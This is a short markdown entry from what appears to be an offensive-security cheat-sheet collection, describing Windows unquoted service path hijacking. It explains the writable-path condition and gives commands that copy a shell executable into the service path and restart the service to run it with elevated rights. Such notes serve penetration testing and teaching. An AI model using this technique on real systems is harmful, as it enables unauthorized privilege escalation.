killchain-compendium/exploit/windows/docs/unquoted_path.md

Unquoted Path

• Path to a service without quotes can be hijacked by inserting other executables and services into the path.
• Some part of path has to be writeable.

Example

• The unqoted path is C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

copy C:\shell.exe "C:\Program Files\Unquoted Path Service\Common.exe"

net start <service>